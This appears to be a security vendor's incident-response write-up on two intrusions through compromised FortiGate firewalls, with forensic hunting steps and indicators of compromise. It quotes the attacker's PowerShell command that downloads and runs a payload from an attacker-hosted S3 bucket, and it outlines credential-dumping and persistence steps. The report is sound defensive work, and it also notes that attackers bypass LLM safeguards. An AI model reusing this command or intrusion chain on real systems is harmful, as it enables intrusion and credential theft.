Overview
Throughout early 2026, SentinelOne’s® Digital Forensics & Incident Response (DFIR) team has responded to several incidents where FortiGate Next-Generation Firewall (NGFW) appliances have been compromised to establish a foothold into the targeted environment. Each incident was detected and stopped during the lateral movement phase of the attack.
Fortinet has disclosed and issued patches for several high-severity vulnerabilities allowing unauthorized access during the activity period of our investigations. Successful exploitation of these flaws allows an attacker to extract the configuration file from the FortiGate appliance, which frequently contains service account credentials and valuable network topology information for the targeted environment.
We observed a consistent theme: targeted organizations fail to retain sufficient logs on these appliances, which prevents understanding exactly how and when attackers gained access. The dwell time between initial perimeter device compromise to network compromise was drastically different across two incidents we investigated, ranging from 2 months to near instantaneous follow-on activity.
This post explores the actions that an attacker or attackers conducted following likely exploitation of two of these FortiGate appliances in different environments. It also provides defenders with guidance to investigate compromise of these appliances and subsequent infiltration activities.
FortiGate Appliance Compromise
FortiGate network appliances have considerable access to the environments they were installed to protect. In many configurations, this includes service accounts which are connected to the authentication infrastructure, such as Active Directory (AD) and Lightweight Directory Access Protocol (LDAP). This setup can enable the appliance to map roles to specific users by fetching attributes about the connection that’s being analyzed and correlating with the Directory information, which is useful in cases where role-based policies are set or for increasing response speed for network security alerts detected by the device.
However, such access is abused by actors who compromise FortiGate devices, as we have seen in these recent incidents.
Through December 2025 and February 2026, Fortinet products have reportedly been exploited via CVE-2025-59718 and CVE-2025-59719, two vulnerabilities impacting Fortinet products’ Single Sign On (SSO) mechanisms by failing to validate cryptographic signatures. In effect, this means an attacker who sends a crafted SSO token can achieve unauthenticated administrative access as the cryptographic signature is not verified.
Another vulnerability, CVE-2026-24858, was patched by Fortinet in late January: this vulnerability permitted attackers to log into FortiGate devices where FortiCloud SSO was enabled. Attackers exploited this flaw by logging into the victim’s device using the attacker’s FortiCloud account.
Once an attacker gains access in this way, they can run the command show full-configuration to extract the FortiGate device configuration file. Fortinet’s FortiOS devices, including FortiGate appliances, use a reversible form of encryption on the configuration files, meaning an attacker can then identify embedded service accounts and extract them.
However, other recent reports have detailed that actors are scanning for open instances and then attempting to log into FortiGate devices using common weak credentials, which means actors can access such devices without a weaponized exploit.
FortiGate Configs Abused to Enroll Rogue Domain Workstations
In one incident (IOCS: Incident 1), the compromise likely began in late November 2025 and remained undetected through February 2026. After accessing the appliance, the actor created a new local administrator account on the FortiGate device named support and used it to create 4 new firewall policies that allowed the account to traverse all zones (source: all; destination: all).
Activity then dropped to low volumes of traffic through some of these policies, suggesting the actor was periodically checking that access was still available before later shifting to noisier network activity.
This pattern is consistent with an initial access broker (IAB) establishing a foothold and then selling it on to another actor. Insufficient FortiGate log retention meant we could only reconstruct the activity window rather than identify the precise initial access vector.
In February 2026, an attacker likely extracted the configuration file, which contained encrypted service account LDAP credentials. Evidence demonstrates the attacker authenticated to the AD using clear text credentials from the fortidcagent service account, suggesting the attacker decrypted the configuration file and extracted the service account credentials.
The service account was then used to authenticate to the victim’s environment from IP address 193.24.211[.]61. The attacker used the mS-DS-MachineAccountQuota attribute to join two rogue workstations to the AD; by default, this setting permits a standard account to join up to 10 workstations to the domain.
Joining the attacker’s workstation to the AD provided the attacker with more access to the environment with fewer security controls. The rogue workstation names are:
WIN-X8WRBOSK0OFWIN-YRSXLEONJY2
Per Validin’s records on IP address 193.24.211[.]61, the IP has consistently shown an RDP port open with an exposed Windows system with workstation ID WIN-1J7L3SQSTMS. We did not see this workstation ID during our incident, but given the consistent nature of this system on the IP address, this workstation ID should be considered suspect.
The actor then performed network scanning across the environment, which generated security alerts and prevented further lateral movement. Identity logs showed massive volumes of failed logins indicating password spraying attempts, which originated from the FortiGate appliance IP address. There were also multiple delete.me file artifacts that suggest the actor likely used the SoftPerfect Network Scanner for enumeration.
There were multiple failed login attempts during the period of heavy activity in February, including from IP addresses 185.156.73[.]62 and 185.242.246[.]127, which are registered to networks in Ukraine and Kazakhstan, respectively.
FortiGate Access Exploited to Deploy RMM Tools and Steal NTDS
In another case we investigated in late January (IOCS: Incident 2), a threat actor accessed the organization’s FortiGate appliance and created a local administrator account with the name ssl-admin. As in the previous investigation, it is likely that the actor again extracted the configuration from the FortiGate appliance and decrypted it to harvest the AD administrator credentials.
Within 10 minutes of creating a local account on the FortiGate appliance, the actor logged into several servers in the victim’s environment with the built-in Domain Administrator account. Server authentication logs confirmed a series of successful Network (Type 3) and Remote Interactive (Type 10/RDP) logins originating from the FortiGate VPN-assigned IP range.
On one of the servers, the attacker launched SQL Server Management Studio (SSMS) but did not connect to any databases, possibly searching for stored connection details or credentials in the application.
The actor began staging files in the system’s C:\ProgramData\USOShared directory, a technique we have observed across multiple incidents. The attacker downloaded two Remote Monitoring and Management (RMM) tools: Pulseway and MeshAgent, which are legitimate system administration tools that are frequently abused by threat actors to achieve a deeper foothold in the target environment.
The actor abused legitimate cloud storage functionality by hosting the Pulseway application on a Google Cloud Storage URL at hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi, which is likely attacker-controlled. The MeshAgent RMM was installed on the domain controller and a file share. The actor modified a Windows Registry value SystemComponent=1 to hide MeshAgent from the “Programs and Features” list.
These tools were used to create Windows Scheduled Tasks named JavaMainUpdate and MeshUserTask for Pulseway and MeshAgent, respectively. The actor also downloaded malware from a cloud storage bucket via PowerShell from Amazon Web Services (AWS) Simple Storage Service (S3) hostname fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com. Like the Google Cloud Storage URL, this is a legitimate Amazon resource that was likely registered by the attacker for unauthorized purposes. This stage used the following command:
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" "Invoke-WebRequest -Uri 'hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip' -OutFile 'C:\programdata\usoshared\Sysdmupd.zip'; Expand-Archive -Path 'C:\programdata\usoshared\Sysdmupd.zip' -DestinationPath 'c:\programdata\usoshared\' -Force; Remove-Item 'c:\programdata\usoshared\Sysdmupd.zip'; cmd /c 'c:\programdata\usoshared\java.exe';"
The attacker gave the malicious DLLs the same names as legitimate Java files, causing the application to load the malware via DLL side-loading instead of the real components. The Java-loaded payload beaconed to two domains: ndibstersoft[.]com and neremedysoft[.]com. These payloads were executed against other servers on the network using PsExec, including the primary and secondary domain controllers.
The actor then created a Volume Shadow Copy backup of the primary domain controller via Windows Management Instrumentation Controls (WMIC) and extracted the NTDS.dit file and SYSTEM registry hive from the backup using the makecab command, then used makecab to compress each file.
The malicious Java application then established a connection on port 443 to IP address 172.67.196[.]232, a Cloudflare-owned IP address with thousands of domain records. The connection was terminated after 8 minutes, and the compressed NTDS.dit and registry hive files were deleted. This sequence of events suggests the attacker uploaded the data to their infrastructure during this session.
Following this activity, we observed no evidence of the threat actor leveraging new or additional user accounts. While the actor may have attempted to crack passwords from the data, no such credential usage was identified between the time of credential harvesting and incident containment.
Conclusion
NGFW appliances have become ubiquitous because they provide strong network monitoring capabilities for organizations by integrating security controls of a firewall with other management features, such as AD. However, these devices are high-value targets for actors with a variety of motivations and skill levels, from state-aligned actors conducting espionage to financially motivated attacks such as ransomware.
As Amazon Security recently wrote, lower skilled threat actors have been boosted by integrating large language models (LLM) into their workflows, making attacks easier and more automated despite demonstrating limited knowledge after exploitation. SentinelOne does not see indications that the campaigns identified in the aforementioned cases are associated with the threat actor tracked by Amazon Security, particularly given the relatively high dwell time between initial access and further activity mentioned in the first incident.
However, organizations should prepare for increases in attack volume at network edge devices as attackers find novel ways to bypass LLM safeguards: these appliances are valuable targets and are often exposed to the open internet. LLMs are often trained on these products and can readily supply information to actors that facilitates gaining access and understanding how to navigate from network appliances deeper into the targeted environment without the knowledge uplift previously required by threat actor crews.
Organizations should consider that FortiGate and other edge devices typically do not permit security software to be installed on the appliance, such as endpoint detection and response (EDR) tools. The best defense for these appliances is to apply strong administrative access controls and to keep the software patched to prevent exploitation. Further, both of these investigations were hindered by insufficient FortiGate log retention. Organizations should ensure they have at least 14 days of log retention on NGFW appliances like FortiGate, though 60-90 days is much better when possible.
SentinelOne recommends sending all logs to a Security Incident & Event Monitoring (SIEM) or similar log aggregation system, as attackers may delete logs from local systems after establishing access, but they can’t delete what’s already been sent to a security center. A SIEM can help at each stage of an attack:
- UEBA and Identity Intelligence: User entity and behavior analytics (UEBA) within a SIEM baselines “normal behavior for every administrator, allowing the SIEM to immediately flag a login if it originates from an unrecognized device or “impossible travel” location. By identifying these anomalies at the moment of entry, the SIEM can alert defenders even if the attacker is using perfectly valid, stolen credentials.
- Detection of Configuration Access and Credential Extraction: A SIEM monitors the FortiGate audit logs for sensitive CLI commands like show
full-configurationor backup exports occurring outside of maintenance windows. By correlating these actions with an unusual admin login location, the SIEM can alert security teams that a configuration file and the credentials within it may have been compromised. - Spotting Unauthorized Account Creation: When a threat actor creates a local “backdoor” admin account, the SIEM immediately flags the user-creation event as a high-priority anomaly. It compares this new account against a “whitelist” of authorized admins, ensuring that any account created without a linked Change Management ticket is treated as an active breach.
- Monitoring Malware Downloads & C2 Traffic: SIEMs analyze network flow data to identify internal systems reaching out to known malicious IPs or suspicious domains via PowerShell. By detecting the “heartbeat” of a C2 channel, the SIEM allows defenders to kill the connection before the attacker can begin exfiltrating data.
- Preserving Evidence Against Log Deletion: Because the FortiGate appliance streams its logs to the SIEM in real-time, the attacker cannot hide their tracks by clearing the local logs. The SIEM maintains an immutable record of every command the attacker typed, providing the forensic evidence needed to understand the full scope of the intrusion.
- Neutralizing the Threat with Automation: Modern SIEMs now come with automation built in allowing the SIEM to trigger automated playbooks the millisecond an attack is detected, such as instantly disabling the compromised service account or “shunning” the attacker’s IP at the network perimeter. By removing the need for human intervention in the initial response, automation slashes the attacker’s dwell time, effectively neutralizing the breach before malware can begin to spread.
Below, we share guidance for organizations and other incident responders on how to investigate a suspected FortiGate intrusion of this nature.
Forensic Investigation Guidance
FortiGate
Malicious SSO/Unexpected Logins:
Search system logs for Log ID 0100032001 (Admin login successful, method sso).
Check for usernames matching public IOCs (e.g., [email protected], [email protected]).
Configuration Download:
Search for Log ID 0100032095 (System config file has been downloaded).
The timestamp confirms when the attacker exported the configuration file.
Malicious Local Admin Account Creation:
Identify the exact creation time and source IP using Log ID 0100044547 (Object attribute configured) with cfgpath="user.local" or cfgpath="system.admin".
VPN Sessions:
Identify the attacker’s source IP by analyzing the remip field in VPN tunnel logs.
Look for Log ID 0101039424 (SSL VPN tunnel up) or 0101037138 (IPsec tunnel up).
Note the internal IP addresses for later correlation with evidence from the Domain Controller(s).
Domain Controllers
Rogue Computer Account Creation (Domain Join):
Windows Event ID 4741: Confirms the creation of a computer account.
Verify the Subject: Security ID matches FortiGate’s stolen LDAP bind account.
Use the SubjectLogonId from 4741 to find the corresponding Event ID 4624 (Logon Type 3) on the same domain controller to extract the Source Network Address (should match the attacker’s internal VPN IP identified via FortiGate logs).
Directory Service Changes (Advanced Audit):
If enabled, Event ID 5136 shows exact attributes set during the join (e.g., missing SPNs, modified UAC values), indicating the use of automated tools like Impacket.
DNS Record Creation:
DNS Server Audit log (Event ID 515 – Record Create): Records the creation of the host (A) record, including workstation name and timestamp.
Microsoft-Windows-DNSServer/Analytical log: Provides the Client IP (internal VPN IP) and the QNAME (workstation name being registered).
Active Directory
Find Malicious Computer Objects:
Check mS-DS-CreatorSID: If multiple rogue computers share the same SID, and it belongs to the Fortinet LDAP service account, compromise is confirmed.
Check for defined SPNs: The lack of SPNs is a red flag and a likely malicious indicator.
Note whenCreated: This attribute stores the exact time the object was added.
Originating Domain Controller and Time:
Check the sAMAccountName attribute to identify the Originating DSA (the domain controller that originally created the object) and the Originating Time.
Indicators of Compromise
Domains
ndibstersoft[.]com – Incident 2, Java-sideloaded payload C2 domain
neremedysoft[.]com – Incident 2, Java-sideloaded payload C2 domain
fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com – Incident 2, S3 subdomain hosting weaponized Java payloads
IP Addresses
185.156.73[.]62 – Incident 1, failed login source IP
185.242.246[.]127 – Incident 1, failed login source IP
193.24.211[.]61 – Incident 1 threat actor connection via ‘support’ account
URLs
hxxps://fastdlvrss[.]s3[.]us-east-1[.]amazonaws[.]com/paswr.zip – Incident 2, URL hosting weaponized Java application & payloads
hxxps://storage.googleapis[.]com/apply-main/windows_agent_x64[.]msi – Incident 2, URL hosting Pulseway RMM
Account Names Created by Threat Actor
ssl-admin – Incident 2, FortiGate local administrative account
support – Incident 1, FortiGate local administrative account
Windows Workstation Names
WIN-1J7L3SQSTMS – Incident 1, Windows hostname of RDP service hosted on attacker IP 193.24.211[.]61
WIN-X8WRBOSK0OF – Incident 1, rogue workstation ID
WIN-YRSXLEONJY2 – Incident 1, rogue workstation ID
Third-Party Trademark Disclaimer:
All third-party product names, logos, and brands mentioned in this publication are the property of their respective owners and are for identification purposes only. Use of these names, logos, and brands does not imply affiliation, endorsement, sponsorship, or association with the third-party.
